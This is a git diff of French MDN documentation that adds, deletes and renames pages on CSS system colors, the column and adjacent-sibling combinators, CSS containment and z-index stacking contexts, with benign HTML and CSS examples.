+/* valeur d'angle pour la teinte */
+/* les unités rad, grad et turn*/
+/* sont également acceptées */
+hsla(240deg 100% 50% / 5%)/* 5% opaque blue */
+hsla(240deg,100%,50%, 0.4) /* 40% opaque blue */
+ +

Couleurs système

+ +

Tous les systèmes ne prennent pas en charges toutes les couleurs système. Cet usage est déprécié pour les pages web publiques (cf. ci-après le tableau des spécifications).

+ +
+
ActiveBorder
+
La bordure de la fenêtre active.
+
ActiveCaption
+
La légende de la fenêtre active. Devrait être utilisé avec CaptionText comme couleur de premier-plan.
+
AppWorkspace
+
La couleur d'arrière-plan d'une interface avec plusieurs documents.
+
Background
+
L'arrière-plan du bureau.
+
ButtonFace
+
La couleur d'arrière-plan visible (qui fait face à l'utilisateur) pour les éléments qui sont en 3D avec une bordure qui les entoure. Devrait être utilisée avec ButtonText comme couleur de premier-plan.
+
ButtonHighlight
+
La couleur de la bordure faisant face à la source de lumière pour les éléments qui apparaissent en 3D à cause d'une bordure autour.
+
ButtonShadow
+
La couleur de la bordure éloignée de la source de lumière pour les éléments qui apparaissent en 3D à cause d'une bordure autour..
+
ButtonText
+
La couleur du texte sur les bouttons. Devrait être utilisée avec ButtonFace ou ThreeDFace comme couleur d'arrière-plan.
+
CaptionText
+
La couleur du texte dans les légendes, la couleur des boîtes redimensionnables et de la flèche de l'ascenseur. Devrait être utilisée avec ActiveCaption comme couleur d'arrière-plan.
+
GrayText
+
Texte (désactivé) en gris.
+
Highlight
+
La couleur des éléments sélectionnés dans un contrôle. Devrait être utilisé avec HighlightText comme couleur de premier-plan.
+
HighlightText
+
La couleur du texte des éléments sélectionnés dans un contrôle. Devrait être utilisée avec Highlight comme couleur d'arrière-plan.
+
InactiveBorder
+
La couleur de la bordure d'une fenêtre inactive.
+
InactiveCaption
+
La couleur de la légende de fenêtre inactive. Devrait être utilisée avec InactiveCaptionText comme couleur de premier-plan.
+
InactiveCaptionText
+
La couleur du texte pour une légende inactive. Devrait être utilisée avec InactiveCaption comme couleur d'arrière-plan.
+
InfoBackground
+
La couleur d'arrière-plan pour les bulles d'informations. Devrait être utilisée avec InfoText comme couleur de premier-plan.
+
InfoText
+
La couleur du texte pour les bulles d'informations. Devrait être utilisée avec InfoBackground comme couleur d'arrière-plan.
+
Menu
+
La couleur d'arrière-plan du menu. Devrait être utilisée avec MenuText ou -moz-MenuBarText comme couleur de premier-plan.
+
MenuText
+
La couleur du texte dans les menus. Devrait être utilisée avec Menu comme couleur d'arrière-plan.
+
Scrollbar
+
La couleur d'arrière-plan de la barre de défilement (ascenseur).
+
ThreeDDarkShadow
+
La couleur de la bordure la plus sombre (généralement la bordure extérieure) éloignée de la source de lumière lorsque deux bordures concentriques sont utilisées pour générer un effet 3D.
+
ThreeDFace
+
La couleur d'arrière-plan pour les éléments qui apparaissent en 3D grâce à des bordures concentriques. Devrait être utilisée avec ButtonText comme couleur de premier-plan.
+
ThreeDHighlight
+
La couleur de la bordure la plus claire (généralement la bordure extérieure) proche de la source de lumière lorsque deux bordures concentriques sont utilisées pour générer un effet 3D.
+
ThreeDLightShadow
+
La couleur de la bordure la plus sombre (généralement la bordure intérieure) proche de la source de lumière lorsque deux bordures concentriques sont utilisées pour générer un effet 3D.
+
ThreeDShadow
+
La couleur de la bordure la plus claire (généralement la bordure intérieure) lorsque deux bordures concentriques sont utilisées pour générer un effet 3D.
+
Window
+
La couleur d'arrière-plan de la fenêtre. Devrait être utilisée avec la couleur WindowText en premier plan.
+
WindowFrame
+
La couleur du cadre de la fenêtre.
+
WindowText
+
La couleur du texte dans les fenêtres. Devrait être utilisée avec la couleur Window en arrière-plan.
+
+ +

Ajouts propres à Mozilla pour les couleurs système

+ +
+
-moz-ButtonDefault
+
La couleur de la bordure autour des boutons représentant l'action par défaut d'une boîte de dialogue.
+
-moz-ButtonHoverFace
+
La couleur d'arrière-plan d'un bouton survolé par le pointeur (qui serait ThreeDFace ou ButtonFace lorsque le pointeur n'est pas sur le bouton). Devrait être utilisée avec -moz-ButtonHoverText comme couleur de premier-plan.
+
-moz-ButtonHoverText
+
La couleur du texte d'un bouton survolé par le pointeur (qui serait ButtonText lorsque le pointeur n'est pas sur le bouton). Devrait être utilisée avec-moz-ButtonHoverFace comme couleur d'arrière-plan.
+
-moz-CellHighlight
+
La couleur d'arrière-plan pour un élément sélectionné dans un widget arborescent. Devrait être utilisée avec -moz-CellHighlightText comme couleur de premier-plan. Voir aussi -moz-html-CellHighlight.
+
-moz-CellHighlightText
+
La couleur du texte pour un élément sélectionné dans un widget arborescent. Devrait être utilisée avec -moz-CellHighlight comme couleur d'arrière-plan. Voir aussi -moz-html-CellHighlightText.
+
-moz-Combobox
+
{{Gecko_minversion_inline("1.9.2")}} La couleur d'arrière-plan pour les listes déroulantes. Devrait être utilisée avec -moz-ComboboxText comme couleurs de premier-plan. Pour les versions antérieures à 1.9.2, on utilisera -moz-Field à la place.
+
-moz-ComboboxText
+
{{Gecko_minversion_inline("1.9.2")}} La couleur du texte pour les listes déroulantes. Devrait être utilisée avec -moz-Combobox comme couleur d'arrière-plan. Pour les versions antérieures à 1.9.2, on utilisera -moz-FieldText à la place.
+
-moz-Dialog
+
La couleur d'arrière-plan pour les boîtes de dialogue. Devrait être utilisée avec -moz-DialogText comme couleur de premier-plan.
+
-moz-DialogText
+
La couleur du texte pour les boîtes de dialogue. Devrait être utilisée avec -moz-Dialog comme couleur d'arrière-plan.
+
-moz-dragtargetzone
+
-moz-EvenTreeRow
+
{{gecko_minversion_inline("1.9")}} La couleur d'arrière-plan pour les lignes numérotées paires d'un arbre. Devrait être utilisée avec-moz-FieldText comme couleur de premier-plan. Pour les versions de Gecko avant 1.9, on utilisera -moz-Field. Voir aussi -moz-OddTreeRow.
+
-moz-Field
+
La couleur d'arrière-plan pour les champs texte. Devrait être utilisée avec -moz-FieldText comme couleur de premier-plan.
+
-moz-FieldText
+
La couleur du texte pour les champs texte. Devrait être utilisée avec -moz-Field, -moz-EvenTreeRow, ou -moz-OddTreeRow comme couleur d'arrière-plan.
+
-moz-html-CellHighlight
+
{{gecko_minversion_inline("1.9")}} La couleur d'arrière-plan pour les éléments sélectionnés dans un élément HTML {{HTMLElement("select")}}. Devrait être utilisée avec -moz-html-CellHighlightText comme couleur de premier-plan. Avant Gecko 1.9, on utilisera -moz-CellHighlight.
+
-moz-html-CellHighlightText
+
{{gecko_minversion_inline("1.9")}} La couleur du texte pour les éléments sélectionnés dans un élément HTML {{HTMLElement("select")}}. Devrait être utilisée avec -moz-html-CellHighlight comme couleur d'arrière-plan. Avant Gecko 1.9, on utilisera -moz-CellHighlightText.
+
-moz-mac-accentdarkestshadow
+
-moz-mac-accentdarkshadow
+
-moz-mac-accentface
+
-moz-mac-accentlightesthighlight
+
-moz-mac-accentlightshadow
+
-moz-mac-accentregularhighlight
+
-moz-mac-accentregularshadow
+
-moz-mac-chrome-active
+
{{Gecko_minversion_inline("1.9.1")}}
+
-moz-mac-chrome-inactive
+
{{Gecko_minversion_inline("1.9.1")}}
+
-moz-mac-focusring
+
-moz-mac-menuselect
+
-moz-mac-menushadow
+
-moz-mac-menutextselect
+
-moz-MenuHover
+
La couleur d'arrière-plan pour les éléments de menu survolés. Généralement semblable à Highlight. Devrait être utilisée avec -moz-MenuHoverText ou -moz-MenuBarHoverText comme couleur de premier-plan.
+
-moz-MenuHoverText
+
La couleur du texte pour les éléments de menu survolés. Généralement similaire à HighlightText. Devrait être utilisée avec -moz-MenuHover comme couleur d'arrière-plan.
+
-moz-MenuBarText
+
{{Gecko_minversion_inline("1.9.2")}} La couleur du texte dans les barres de menu. Généralement similaire à MenuText. Devrait être utilisée avec Menu comme couleur d'arrière-plan.
+
-moz-MenuBarHoverText
+
La couleur du texte pour les éléments survolés dans les barres de menu, généralement similaire à -moz-MenuHoverText. Devrait être utilisée avec -moz-MenuHover comme couleur d'arrière-plan.
+
-moz-nativehyperlinktext
+
{{Gecko_minversion_inline("1.9.1")}} La couleur par défaut de la plate-forme pour les hyperliens.
+
-moz-OddTreeRow
+
{{gecko_minversion_inline("1.9")}} La couleur d'arrière-plan pour les lignes numérotées impaires d'un arbre. Devrait être utilisée avec-moz-FieldText comme couleur de premier-plan. Pour les versions de Gecko avant 1.9, on utilisera -moz-Field. Voir aussi -moz-EvenTreeRow.
+
-moz-win-accentcolor
+
{{gecko_minversion_inline("56")}} Utilisée pour accéder à la couleur d'accentuation de Windows 10 pour les menus, la barre de tâches, les barres de titre.
+
-moz-win-accentcolortext
+
{{gecko_minversion_inline("56")}} Utilisée pour accéder à la couleur d'accentuation de Windows 10 uttilisée pour le texte des menus, de la barre de tâches et des barres de titre.
+
-moz-win-communicationstext
+
{{gecko_minversion_inline("1.9")}} Devrait être utilisée comme couleur pour les textes des objets pour lesquels {{cssxref("-moz-appearance")}}: -moz-win-communications-toolbox;.
+
-moz-win-mediatext
+
{{gecko_minversion_inline("1.9")}} Devrait être utilisée comme couleur pour les textes des objets pour lesquels {{cssxref("-moz-appearance")}}: -moz-win-media-toolbox.
+
+ +

Ajout de Mozilla pour les couleurs liées aux préférences

+ +
+
-moz-activehyperlinktext
+
La couleur choisie par l'utilisateur pour le texte des liens actifs. Devrait être utilisée avec la couleur d'arrière-plan par défaut du document.
+
-moz-default-background-color
+
{{Gecko_minversion_inline("5.0")}} La couleur choisie par l'utilisateur pour la couleur d'arrière-plan du document.
+
-moz-default-color
+
{{Gecko_minversion_inline("5.0")}} La couleur choisie par l'utilisateur pour la couleur du texte.
+
-moz-hyperlinktext
+
La couleur choisie par l'utilisateur pour le texte des liens non visités. Devrait être utilisée avec la couleur d'arrière-plan par défaut du document.
+
-moz-visitedhyperlinktext
+
La couleur choisie par l'utilisateur pour le texte des liens visités. Devrait être utilisée avec la couleur d'arrière-plan par défaut du document.
+
+ +

Interpolation

+ +

Les valeurs de type <color> peuvent être interpolées afin de créer des animations ou des dégradés (type <gradient>). Dans ce cas, elles sont interpolées via chacune de leurs composantes rouge, verte, bleue et chacune de ces coordonnées est gérée comme un nombre réel flottant. L'interpolation des couleurs est appliquée dans l'espace de couleurs alpha sRGBA prémultiplié afin d'empêcher des tons de gris d'apparaître. Pour les animations, la vitesse de l'interpolation est définie selon la fonction de temporisation associée à l'animation.

+ +

Accessibilité

+ +

La recommandation du W3C : WCAG 2.0 conseille vivement aux auteurs de ne pas utiliser la couleur comme le seul moyen de transmettre une information, une action ou un résultat. Certains utilisateurs peuvent rencontrer des difficultés à distinguer les couleurs. Bien entendu, cette recommandation ne vise pas à interdire l'utilisation des couleurs, elle indique simplement que ce ne doit pas être le seul moyen de fournir une information (voir l'article sur Ies couleurs et le contraste pour plus d'informations).

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('CSS4 Colors', '#colorunits', '<color>')}}{{Spec2('CSS4 Colors')}}Ajout de la couleur rebeccapurple, de la notation hexadécimale sur quatre chiffres (#RGBA) et sur huit chiffres (#RRGGBBAA). rgba() et hsla() sont désormais synonymes de rgb() et hsl(), les paramètres des fonctions peuvent être séparés par des espaces plutôt que ds virgules, les valeurs de transparence (alpha) peuvent être exprimées en pourcentages et les valeurs de teinte avec un angle.
{{SpecName('CSS3 Colors', '#colorunits', '<color>')}}{{Spec2('CSS3 Colors')}}Les couleurs système sont désormais dépréciée. Les couleurs SVG sont ajoutées ainsi que les notations fonctionnelles rgba(), hsl(), hsla().
{{SpecName('CSS2.1', 'syndata.html#value-def-color', '<color>')}}{{Spec2('CSS2.1')}}Ajout de la couleur orange et des couleurs système.
{{SpecName('CSS1', '#color-units', '<color>')}}{{Spec2('CSS1')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("css.properties.color")}}

+ +

Voir aussi

+ +
    +
  • {{cssxref("opacity")}}
    • +
  • {{cssxref("color")}}
    • +
  • {{cssxref("background-color")}}
    • +
  • {{cssxref("border-color")}}
    • +
  • {{cssxref("outline-color")}}
    • +
  • {{cssxref("text-shadow")}}
    • +
  • {{cssxref("box-shadow")}}
    • +
diff --git a/files/fr/web/css/column_combinator/index.html b/files/fr/web/css/column_combinator/index.html new file mode 100644 index 0000000000..b971e8ae4c --- /dev/null +++ b/files/fr/web/css/column_combinator/index.html @@ -0,0 +1,97 @@ +--- +title: Combinateur de colonne +slug: Web/CSS/Combinateur_colonne +tags: + - CSS + - Reference + - Sélecteur +translation_of: Web/CSS/Column_combinator +--- +
{{CSSRef("Selectors")}}{{Draft}}{{SeeCompatTable}}
+ +

Le combinateur de colonne (||) est placé entre deux sélecteurs CSS. Les éléments ciblés sont ceux ciblés par le deuxième sélecteur et qui appartiennent à un élément en colonne qui correspond au premier sélecteur.

+ +
/* Les cellules de tableaux qui appartiennent */
+/* à la colonne "selected" */
+col.selected || td {
+  background: gray;
+}
+
+ +

Syntaxe

+ +
column-selector || cell-selector {
+  /* propriétés pour le style */
+}
+
+ +

Exemples

+ +

HTML

+ +
<table border="1">
+  <colgroup>
+    <col span="2"/>
+    <col class="selected"/>
+  </colgroup>
+  <tbody>
+    <tr>
+      <td>A
+      <td>B
+      <td>C
+    </tr>
+    <tr>
+      <td colspan="2">D</td>
+      <td>E</td>
+    </tr>
+    <tr>
+      <td>F</td>
+      <td colspan="2">G</td>
+    </tr>
+  </tbody>
+</table>
+ +

CSS

+ +
col.selected || td {
+  background: gray;
+  color: white;
+  font-weight: bold;
+}
+ +

Résultat

+ +

{{EmbedLiveSample("Exemples", "100%")}}

+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName("CSS4 Selectors", "#the-column-combinator", "column combinator")}}{{Spec2("CSS4 Selectors")}}Définition initiale.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Array.sort")}}

+ +

Voir aussi

+ +
    +
  • {{HTMLElement("col")}}
    • +
  • {{HTMLElement("colgroup")}}
    • +
  • {{CSSxRef("grid")}}
    • +
diff --git a/files/fr/web/css/combinateur_colonne/index.html b/files/fr/web/css/combinateur_colonne/index.html deleted file mode 100644 index b971e8ae4c..0000000000 --- a/files/fr/web/css/combinateur_colonne/index.html +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: Combinateur de colonne -slug: Web/CSS/Combinateur_colonne -tags: - - CSS - - Reference - - Sélecteur -translation_of: Web/CSS/Column_combinator ---- -
{{CSSRef("Selectors")}}{{Draft}}{{SeeCompatTable}}
- -

Le combinateur de colonne (||) est placé entre deux sélecteurs CSS. Les éléments ciblés sont ceux ciblés par le deuxième sélecteur et qui appartiennent à un élément en colonne qui correspond au premier sélecteur.

- -
/* Les cellules de tableaux qui appartiennent */
-/* à la colonne "selected" */
-col.selected || td {
-  background: gray;
-}
-
- -

Syntaxe

- -
column-selector || cell-selector {
-  /* propriétés pour le style */
-}
-
- -

Exemples

- -

HTML

- -
<table border="1">
-  <colgroup>
-    <col span="2"/>
-    <col class="selected"/>
-  </colgroup>
-  <tbody>
-    <tr>
-      <td>A
-      <td>B
-      <td>C
-    </tr>
-    <tr>
-      <td colspan="2">D</td>
-      <td>E</td>
-    </tr>
-    <tr>
-      <td>F</td>
-      <td colspan="2">G</td>
-    </tr>
-  </tbody>
-</table>
- -

CSS

- -
col.selected || td {
-  background: gray;
-  color: white;
-  font-weight: bold;
-}
- -

Résultat

- -

{{EmbedLiveSample("Exemples", "100%")}}

- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName("CSS4 Selectors", "#the-column-combinator", "column combinator")}}{{Spec2("CSS4 Selectors")}}Définition initiale.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Array.sort")}}

- -

Voir aussi

- -
    -
  • {{HTMLElement("col")}}
    • -
  • {{HTMLElement("colgroup")}}
    • -
  • {{CSSxRef("grid")}}
    • -
diff --git a/files/fr/web/css/combinateur_de_voisin_direct/index.html b/files/fr/web/css/combinateur_de_voisin_direct/index.html deleted file mode 100644 index 4898c755c4..0000000000 --- a/files/fr/web/css/combinateur_de_voisin_direct/index.html +++ /dev/null @@ -1,86 +0,0 @@ ---- -title: Combinateur de voisin direct -slug: Web/CSS/Combinateur_de_voisin_direct -tags: - - CSS - - Reference - - Sélecteur -translation_of: Web/CSS/Adjacent_sibling_combinator ---- -
{{CSSRef("Selectors")}}
- -

Cette forme de combinateur permet de sélectionner un élément uniquement si celui-ci « suit » un élément donné et que les deux éléments sont les fils d'un même élément parent.

- -
/* Ne cible que les paragraphes situé directement après une image */
-img + p {
-  font-style: bold;
-}
- -

Syntaxe

- -
premier_element + element_cible { styles }
-
- -

Exemples

- -

CSS

- -
-
li:first-of-type + li {
-  color: red;
-}
-
- -

HTML

- -
<ul>
-  <li>Un</li>
-  <li>Deux</li>
-  <li>Trois</li>
-</ul>
- -

Résultat

-
- -

{{EmbedLiveSample('Exemples', 200, 100)}}

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('CSS4 Selectors', '#adjacent-sibling-combinators', 'next-sibling combinator')}}{{Spec2('CSS4 Selectors')}}Renomme ce sélecteur en « next-sibling combinator ».
{{SpecName('CSS3 Selectors', '#adjacent-sibling-combinators', 'Adjacent sibling combinator')}}{{Spec2('CSS3 Selectors')}} 
{{SpecName('CSS2.1', 'selector.html#adjacent-selectors', 'Adjacent sibling selectors')}}{{Spec2('CSS2.1')}}Définition initiale.
- -

Compatibilité des navigateurs

- - - -

{{Compat("css.selectors.adjacent_sibling")}}

- -

Voir aussi

- - diff --git a/files/fr/web/css/compartimentation_css/index.html b/files/fr/web/css/compartimentation_css/index.html deleted file mode 100644 index 34af6f3274..0000000000 --- a/files/fr/web/css/compartimentation_css/index.html +++ /dev/null @@ -1,123 +0,0 @@ ---- -title: Compartimentation CSS (CSS Containment) -slug: Web/CSS/Compartimentation_CSS -tags: - - CSS - - CSS Containment -translation_of: Web/CSS/CSS_Containment ---- -

{{CSSRef}}
- L'objectif du module de spécification CSS Containment (pour Compartimentation CSS) consiste à améliorer les performances des pages web en permettant aux développeurs d'isoler un sous-ensemble de la page. Si le navigateur sait que cette partie est indépendante, le rendu peut être optimisé et les performances améliorées. Ce module de spécification définit une seule propriété CSS : {{cssxref("contain")}}. Dans cet article, nous verrons les objectifs principaux de cette spécification.

- -

Exemple simple

- -

De nombreuses pages web disposent de plusieurs sections qui sont indépendantes les unes des autres. Voici une liste d'articles avec leurs titres et leurs contenus.

- -
<h1>Mon blog</h1>
-<article>
-  <h2>Titre d'un article sympa</h2>
-  <p>Un peu de contenu.</p>
-</article>
-<article>
-  <h2>Un autre titre pour un autre article</h2>
-  <p>Un peu plus de contenu ici.</p>
-</article>
- -

Pour chaque article, on applique la propriété {{cssxref("contain")}} avec la valeur content.

- -
article {
-  contain: content;
-}
- -

Chaque article est indépendant des autres articles de la page et on fournit contain: content afin d'indiquer cette indépendance au navigateur. Ce dernier peut alors prendre des décisions quant au rendu du contenu (par exemple, ne pas travailler sur le rendu d'articles qui ne sont pas sur la zone visible).

- -

Si on fournit contain: content pour chaque <article>, lorsque de nouveaux éléments sont insérés, le navigateur comprendra qu'il n'est pas nécessaire de tout repeindre/redisposer à l'intérieur de l'arbre de l'élément. Toutefois, si <article> est mis en forme de telle façon que sa forme dépend de son contenu (ex. height: auto), le navigateur devra prendre en compte le redimensionnement.

- -

La valeur content est une valeur synthétique pour contain: layout paint. Elle indique au navigateur que la disposition de l'élément est complètement séparée de celle du reste de la page et que tout ce qui concerne l'élément est peint à l'intérieur de son cadre et que rien ne peut dépasser.

- -

Cette information est parfois connue voire évidente pour la ou les personnes qui construisent la page. Toutefois, les navigateurs ne peuvent pas simplement deviner cette intention et partir du principe que chaque article ne débordera pas. Cette propriété permet ainsi d'expliquer la situation au navigateur afin que celui-ci puisse en tirer parti et optimiser ce qu'il peut grâce à cette hypothèse.

- -

Concepts et terminologie

- -

Cette spécification ne définit qu'une seule propriété : {{cssxref("contain")}}. Les valeurs fournies à cette propriété indiquent le type de compartimentation qu'on souhaite appliquer à l'élément.

- -

Compartimentation de la disposition

- -
article {
-  contain: layout;
-}
- -

La disposition porte normalement sur l'intégralité d'un document et si on déplace un élément, c'est tout le document qui doit être reconsidéré car tout peut avoir bougé. Avec contain: layout, on indique au navigateur qu'il est uniquement nécessaire de vérifier cet élément et son contenu : tout ce qu'il contient n'affecte pas le reste de la page et la boîte englobante crée un contexte de formatage indépendant.

- -

De plus :

- -
    -
  • Les dispositions flottantes (avec display:float) seront traitées indépendamment.
    • -
  • Les marges ne fusionneront pas en dehors des limites du bloc englobant ainsi compartimenté
    • -
  • Le conteneur de la disposition sera un bloc englobant pour les éléments descendants avec des positions absolute/fixed.
    • -
  • La boîte englobante crée un contexte d'empilement et on peut donc utiliser {{cssxref("z-index")}}.
    • -
- -

Compartimentation pour la peinture

- -
article {
-  contain: paint;
-}
- -

La compartimentation avec paint limite/rogne la boîte jusqu'à la limite de la zone de remplissage (padding) de la boîte principale. Autrement dit, il ne peut pas y avoir de chevauchement visible. On a également les mêmes règles qu'avec layout (voir ci-avant).

- -

De plus, lorsque la boîte englobante est hors de l'écran, le navigateur n'a pas besoin de peindre ses éléments (car ceux-ci sont contenus dans cette boîte au sens géométrique).

- -

Compartimentation pour le dimensionnement

- -
article {
-  contain: size;
-}
- -

La compartimentation du dimensionnement, utilisée seule, n'offre pas un grand intérêt quant aux performances. Cette valeur signifie que la taille des éléments fils ne doit pas affecter la taille de l'élément ciblé — sa taille est calculée comme si l'élément n'avait pas de fils.

- -

Si on active contain: size, il faut alors définir la taille de l'élément sur lequel on l'applique. Sinon, dans la plupart des cas, l'élément aura des dimensions nulles.

- -

Compartimentation pour le style

- -
article {
-  contain: style;
-}
- -

Malgré son nom, cette valeur ne fournit pas un style compartimenté comme on pourrait l'avoir avec un Shadow DOM. Cette valeur sert principlament pour les compteurs CSS qui pourraient changer sur un élément et affecter le reste de l'arborescence.

- -

En utilisant contain: style, on s'assure que les propriétés {{cssxref("counter-increment")}} et {{cssxref("counter-set")}} créent de nouveaux compteurs limités à ce sous-arbre.

- -
-

Note : La valeur style est considérée comme « à risque » dans la spécification actuelle et pourrait ne pas être prise en charge partout (elle n'est actuellement pas prise en charge dans Firefox - novembre 2019).

-
- -

Valeurs spéciales

- -

La propriété contain possède deux valeurs spéciales :

- -
    -
  • content
    • -
  • strict
    • -
- -

La première (vue dans le premier exemple) est un synonyme pour la conjonction de layout et paint. La spécification décrit cette valeur comme pouvant « raisonnablement être appliquée largement de façon saine ». Elle n'applique pas la compartimentation pour le dimensionnement (size) donc on ne risque pas d'avoir une boîte avec une taille nulle en raison de la taille de ses enfants.

- -

Pour obtenir la compartimentation la plus forte, on utilisera contain: strict qui est synonyme de contain: size layout paint voire on ajoutera ensuite la compartimentation du style pour les navigateurs qui la prennent en charge :

- -
contain: strict;
-contain: strict style;
- -

Référence

- -

Propriétés CSS

- -
    -
  • {{cssxref("contain")}}
    • -
- -

Ressources externes

- - diff --git a/files/fr/web/css/comprendre_z-index/ajout_de_z-index/index.html b/files/fr/web/css/comprendre_z-index/ajout_de_z-index/index.html deleted file mode 100644 index d12e2113d1..0000000000 --- a/files/fr/web/css/comprendre_z-index/ajout_de_z-index/index.html +++ /dev/null @@ -1,149 +0,0 @@ ---- -title: Ajouter z-index -slug: Web/CSS/Comprendre_z-index/Ajout_de_z-index -tags: - - Avancé - - CSS - - Guide - - z-index -translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Adding_z-index ---- -
{{CSSRef}}{{PreviousMenuNext("Web/CSS/Comprendre_z-index/Empilement_et_float","Web/CSS/Comprendre_z-index/Empilement_de_couches", "Web/CSS/Comprendre_z-index")}}
- -

Ajouter z-index

- -

Dans le premier exemple, « empilement sans z-index »,  illustre comment l'empilement fonctionne par défaut. Pour définir un ordre d'empilement différent, il faut utiliser la propriété CSS {{cssxref("z-index")}}.

- -

Cette propriété, dont l'attribut est une valeur entière (positive ou négative), représente la position de l'élément le long de l'axe Z. Pour se représenter cette notion, on peut imaginer que la page possède plusieurs couches, les unes au dessus des autres. Chaque couche est numérotée. Un couche avec une grande valeur de z-index est affichée par dessus toutes celles dont la valeur est inférieure à la sienne.

- -
-

Attention : z-index a un effet sur les éléments uniquement si ceux-ci sont positionnés.

-
- -
    -
  • Bas : couche la plus lointaine de l'observateur
    • -
  • …
    • -
  • Couche -3
    • -
  • Couche -2
    • -
  • Couche -1
    • -
  • Couche 0 couche de rendu par défaut
    • -
  • Couche 1
    • -
  • Couche 2
    • -
  • Couche 3
    • -
  • …
    • -
  • Haut : couche la plus proche de l'observateur
    • -
- -
-

Notes :

- -
    -
  • Lorsque la propriété z-index n'est pas définie, les éléments sont rendus sur la couche 0 par défaut.
    • -
  • Si plusieurs éléments possède la même valeur de z-index (c'est-à-dire qu'ils sont placés sur la même couche), alors les règles d'empilement expliquées dans empilement sans z-index s'appliquent.
    • -
-
- -

Dans l'exemple qui suit, l'empilement des couches a été réordonné en utilisant z-index. Le z-index du bloc DIV#5 n'a pas d'effet, l'élément n'étant pas positionné.

- -

{{EmbedLiveSample("Code_source_de_l’exemple", '468', '365')}}

- -

Code source de l’exemple

- -

HTML

- -
<div id="abs1">
-  <b>DIV #1</b>
-  <br />position: absolute;
-  <br />z-index: 5;
-</div>
-
-<div id="rel1">
-  <b>DIV #2</b>
-  <br />position: relative;
-  <br />z-index: 3;
-</div>
-
-<div id="rel2">
-  <b>DIV #3</b>
-  <br />position: relative;
-  <br />z-index: 2;
-</div>
-
-<div id="abs2">
-  <b>DIV #4</b>
-  <br />position: absolute;
-  <br />z-index: 1;
-</div>
-
-<div id="sta1">
-  <b>DIV #5</b>
-  <br />no positioning
-  <br />z-index: 8;
-</div>
-
- -

CSS

- -
div {
-  padding: 10px;
-  opacity: 0.7;
-  text-align: center;
-}
-
-b {
-  font-family: sans-serif;
-}
-
-#abs1 {
-  z-index: 5;
-  position: absolute;
-  width: 150px;
-  height: 350px;
-  top: 10px;
-  left: 10px;
-  border: 1px dashed #900;
-  background-color: #fdd;
-}
-
-#rel1 {
-  z-index: 3;
-  height: 100px;
-  position: relative;
-  top: 30px;
-  border: 1px dashed #696;
-  background-color: #cfc;
-  margin: 0px 50px 0px 50px;
-}
-
-#rel2 {
-  z-index: 2;
-  height: 100px;
-  position: relative;
-  top: 15px;
-  left: 20px;
-  border: 1px dashed #696;
-  background-color: #cfc;
-  margin: 0px 50px 0px 50px;
-}
-
-#abs2 {
-  z-index: 1;
-  position: absolute;
-  width: 150px;
-  height: 350px;
-  top: 10px;
-  right: 10px;
-  border: 1px dashed #900;
-  background-color: #fdd;
-}
-
-#sta1 {
-  z-index: 8;
-  height: 70px;
-  border: 1px dashed #996;
-  background-color: #ffc;
-  margin: 0px 50px 0px 50px;
-}
-
- -

{{PreviousMenuNext("Web/CSS/Comprendre_z-index/Empilement_et_float","Web/CSS/Comprendre_z-index/Empilement_de_couches", "Web/CSS/Comprendre_z-index")}}

diff --git a/files/fr/web/css/comprendre_z-index/empilement_de_couches/index.html b/files/fr/web/css/comprendre_z-index/empilement_de_couches/index.html deleted file mode 100644 index 20fa6ab2ce..0000000000 --- a/files/fr/web/css/comprendre_z-index/empilement_de_couches/index.html +++ /dev/null @@ -1,213 +0,0 @@ ---- -title: L'empilement de couches -slug: Web/CSS/Comprendre_z-index/Empilement_de_couches -tags: - - Avancé - - CSS - - Guide - - z-index -translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/The_stacking_context ---- -
{{CSSRef}}{{PreviousMenuNext("Web/CSS/Comprendre_z-index/Ajout_de_z-index","Web/CSS/Comprendre_z-index/Exemple_1", "Web/CSS/Comprendre_z-index")}}
- -

Le contexte d'empilement

- -

Dans l'exemple précédent, Ajout de z-index, les blocs DIV sont rendus les uns au dessus des autres (de l'arrière vers l'avant), en commençant par celui dont la valeur de {{cssxref("z-index")}} est la plus faible et en finissant par celui dont la valeur de z-index est la plus forte. Dans cet exemple, il n'y a qu'un seul contexte d'empilement, qui est l'élément HTML racine de la page.

- -

Dans certaines conditions, un contexte d'empilement enfant peut être créé à l'intérieur d'un bloc DIV (ou un autre élément) n'importe où dans le document. En particulier, un élément positionné (en absolu ou en relatif) possédant une valeur de z-index différente de auto crée son propre contexte d'empilement : tous ses éléments enfants sont entièrement empilés dans ce contexte, suivant les mêmes règles que celles expliquées précédemment. Les valeurs de z-index de ses enfants n'ont de signification que dans ce contexte. Le bloc DIV entier et son contenu sont empilés comme un seul élément dans le contexte d'empilement de leur parent.

- -

Un contexte d'empilement est formé dans le document par n'importe quel élément qui répond à l'un de ces critères :

- -
    -
  • L'élément racine du document (HTML)
    • -
  • Un élément pour lequel {{cssxref("position")}} vaut absolute ou relative et pour lequel {{cssxref("z-index")}} est différente de auto
    • -
  • Un élément pour lequel {{cssxref("position")}} vaut fixed ou sticky
    • -
  • Un élément qui est le fils d'un conteneur flexible ({{cssxref("flexbox")}}) pour lequel {{cssxref("z-index")}} est différente de auto
    • -
  • Un élément qui est le fils d'un conteneur en grille ({{cssxref("grid")}}) pour lequel {{cssxref("z-index")}} est différente de auto
    • -
  • Un élément pour lequel {{cssxref("opacity")}} est inférieure à 1 (cf. la spécification)
    • -
  • Un élément pour lequel {{cssxref("mix-blend-mode")}} est différente de normal
    • -
  • Un élément pour lequel n'importe laquelle de ces propriétés est différente de none : -
      -
    • {{cssxref("transform")}}
      • -
    • {{cssxref("filter")}}
      • -
    • {{cssxref("perspective")}}
      • -
    • {{cssxref("clip-path")}}
      • -
    • {{cssxref("mask")}} / {{cssxref("mask-image")}} / {{cssxref("mask-border")}}
      • -
    -
    • -
  • Un élément pour lequel {{cssxref("isolation")}} vaut isolate
    • -
